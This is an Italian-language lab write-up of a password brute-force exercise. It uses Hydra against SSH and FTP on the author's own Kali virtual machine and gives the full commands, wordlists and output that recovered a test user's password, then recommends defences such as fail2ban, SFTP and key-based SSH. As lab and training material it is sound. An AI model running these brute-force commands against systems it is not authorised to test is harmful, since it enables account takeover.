Luca Danisi **27-3-2026**

Authentication cracking con Hydra

Obiettivo: Verificare la resistenza ai brute force attack dei servizi **SSH** (porta 22) e **FTP** (porta 21) su Kali Linux.

🧪 IL NOSTRO LABORATORIO

🐉 **KALI** : rete interna vtnet 1 → IP 192.168.50.100

Risultati:

- SSH craccato ✅ → credenziali trovate: `test_user:testpassword`
- FTP craccato ✅ → credenziali trovate: `test_user:testpassword`

Problemi riscontrati durante il test:

- **SSH** blocca connessioni multiple simultanee → necessario usare `-t 1`.
- **vsftpd** di default ascolta solo su IPv6 → necessario abilitare IPv4 nel config.
- Creazione di una lista psw più corta per evitare crash e accorciare i tempi.

Raccomandazioni:

- Usare password lunghe, complesse e non presenti in dizionari pubblici
- Installare **fail2ban** per bloccare IP dopo N tentativi falliti

- Eliminare FTP e sostituirlo con **SFTP** — FTP trasmette credenziali in chiaro

- Su **SSH** disabilitare il login con password e usare **chiavi crittografiche**

- Limitare gli utenti autorizzati ad accedere via SSH nel file `sshd_config`

WALKTROUGH ESERCIZIO

Step 1.1 – Comunicazione Macchine Virtuali

Verifichiamo che le nostre macchine siano in grado di comunicare correttamente effetuando un ping.

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=6.87 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=2.74 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=2.59 ms
^C
--- 192.168.50.101 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2093ms
rtt min/avg/max/mdev = 2.589/4.066/6.873/1.985 ms
```

"Comunicazione avvenuta con successo"

Step 1.2 – Creazione dell utente test_user su Kali

Aggiungiamo un nuovo user con il comando “ **`sudo adduser test_user`** “ e inseriamo la relativa psw “testpassword”

```
┌──(kali㉿kali)-[~]
└─$ sudo adduser test_user
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the def
ault
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] Y

┌──(kali㉿kali)-[~]
└─$
```

Step 2.1 – **Avviamo il servizio SSH**

Utilzzando il comando **“sudo service ssh start” ,** attiviamo il servizio e successivamente con il comando **“sudo service ssh status”** verifichiamo che sia attivo.

```
┌──(kali㉿kali)-[~]
└─$ sudo service ssh start

┌──(kali㉿kali)-[~]
└─$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/usr/lib/systemd/system/s>
     Active: active (running) since Fri 2026-0>
```

Il servizio è attivo.

Step 2.2 – Test Connessione SSH

Con il comando **“ssh test_user@192.168.50.100 ”** , verificheremo che il servizio è attivo.

```
┌──(kali㉿kali)-[~]
└─$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is: SHA256:EYWYltdua5PmxImT+WFpZnawsMwfJgWym4hIFP96liA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? 
```

Essendo la prima volta che il nuovo host si collega , ci viene chiesta una conferma dell’autenticità dell utente, in modo da salvare il fingerprint per le connessioni successive,

```
┌──(kali㉿kali)-[~]
└─$ ssh test_user@192.168.50.100
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.
ED25519 key fingerprint is: SHA256:EYWYltdua5PmxImT+WFpZnawsMwfJgWym4hIFP96liA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.
test_user@192.168.50.100's password:
Linux kali 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

La connessione è avvenuta con successo.

Step 2.3 – Hydra, installazione “worldlist”

A Prima di lanciare Hydra dobbiamo installare le worldlist e lo facciamo usando il comando **“sudo apt install seclists -y”.** Ovvero un elenco di common password da poter utilizzare.

2.4 – Lanciamo Hydra

Ora lanciamo l' attacco utilizzando la liste delle password all'interno della "rockyou", ***"hydra -l test_user -P /usr/share/wordlists/rockyou.txt 192.168.50.100 -t 4 -V ssh"*** *comando usa le wordlist di seclists.*

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/wordlists/rockyou.txt 192.168.50.100 -t 4 -V ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secr
et service organizations, or for illegal purposes (this is non-binding, these *** ignore laws
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-27 06:10:04
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586
100 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 14344399 [child 0]
(0/0)
```

Essendo una lista di password molto lunga e attaccando la porta con 4 richieste contemporaneamente il sistema Kali va in crash. Per completare la dimostrazione creiamo una lista di password più breve e effettuiamo 1 sola richiesta per volta

```
┌──(kali㉿kali)-[~]
└─$ echo "testpassword" > ~/test_passwords.txt

┌──(kali㉿kali)-[~]
└─$ echo "password" >> ~/test_passwords.txt
echo "123456" >> ~/test_passwords.txt
echo "admin" >> ~/test_passwords.txt
echo "qwerty" >> ~/test_passwords.txt
echo "letmein" >> ~/test_passwords.txt
echo "welcome" >> ~/test_passwords.txt
echo "monkey" >> ~/test_passwords.txt
echo "dragon" >> ~/test_passwords.txt
echo "master" >> ~/test_passwords.txt
echo "sunshine" >> ~/test_passwords.txt

┌──(kali㉿kali)-[~]
└─$ cat ~/test_passwords.txt
testpassword
password
123456
admin
qwerty
letmein
welcome
monkey
dragon
master
sunshine
```

Lanciamo Hydra

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P ~/test_passwords.txt 192.168.50.100 -t 1 -V ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secr
et service organizations, or for illegal purposes (this is non-binding, these *** ignore laws
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-27 06:30:51
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a
 previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 11 login tries (l:1/p:11), ~11 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpassword" - 1 of 11 [child 0]
(0/0)
[22][ssh] host: 192.168.50.100   login: test_user   password: testpassword
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-27 06:31:02
```

"1 target successfully completed, 1 valid password found"

3.1 – Configurazione VSFTPD

Installiamo il **V**ery **S**ecure **FTP D**aemon con il comando "***sudo apt install vsftpd -y***".

```
┌──(kali㉿kali)-[~]
└─$ sudo apt install vsftpd -y
The following packages were automatically installed and are no longer required:
  amass-common              libsqlcipher1
  curlftpfs                 libswscale8
  gir1.2-girepository-2.0   libudfread0
  libarmadillo14            libvdpau-va-gl1
  libaudio2                 libwireshark18
  libavfilter10             libwiretap15
  libavformat61             libwsutil16
  libbluray2                linux-base-6.18.5+kali-amd64
  libbson-1.0-0t64          linux-image-6.12.38+kali-amd64
  libconfig-inifiles-perl   linux-image-6.18.5+kali-amd64
```

3.2 – Avviamo il servizio VSFTPD

Con il comando "***sudo service vsftpd start***" avviamo il servizio, e successivamente verifichiamo che sia attivo.

```
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
     Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
     Active: active (running) since Fri 2026-03-27 06:50:44 EDT; 6s ago
 Invocation: 41a6c5e77df546d9aa634a91a02313c2
    Process: 51685 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SU>
   Main PID: 51687 (vsftpd)
      Tasks: 1 (limit: 11443)
     Memory: 904K (peak: 2.3M)
        CPU: 17ms
     CGroup: /system.slice/vsftpd.service
             └─51687 /usr/sbin/vsftpd /etc/vsftpd.conf

Mar 27 06:50:44 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server...
Mar 27 06:50:44 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
lines 1-14/14 (END)
```

3.2 – Utilizzare Hydra con il servizio **VSFTPD**

Con il comando "***sudo service vsftpd start***" avviamo il servizio, e successivamente verifichiamo che sia attivo.

```
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
     Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
     Active: active (running) since Fri 2026-03-27 06:50:44 EDT; 6s ago
 Invocation: 41a6c5e77df546d9aa634a91a02313c2
    Process: 51685 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SU>
   Main PID: 51687 (vsftpd)
      Tasks: 1 (limit: 11443)
     Memory: 904K (peak: 2.3M)
        CPU: 17ms
     CGroup: /system.slice/vsftpd.service
             └─51687 /usr/sbin/vsftpd /etc/vsftpd.conf
```

3.3 – Utilizzare Hydra con il servizio **VSFTPD**

Con il comando "***hydra***" avviamo il servizio, sempre utillzzando la lista psw più breve e con 1 sola richiesta alla volta.

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P ~/test_passwords.txt 192.168.50.100 -t 1 -V ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secr
et service organizations, or for illegal purposes (this is non-binding, these *** ignore laws
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-27 07:05:32
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a
 previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 11 login tries (l:1/p:11), ~11 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpassword" - 1 of 11 [child 0]
(0/0)
[21][ftp] host: 192.168.50.100   login: test_user   password: testpassword
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-27 07:05:43
```

FINE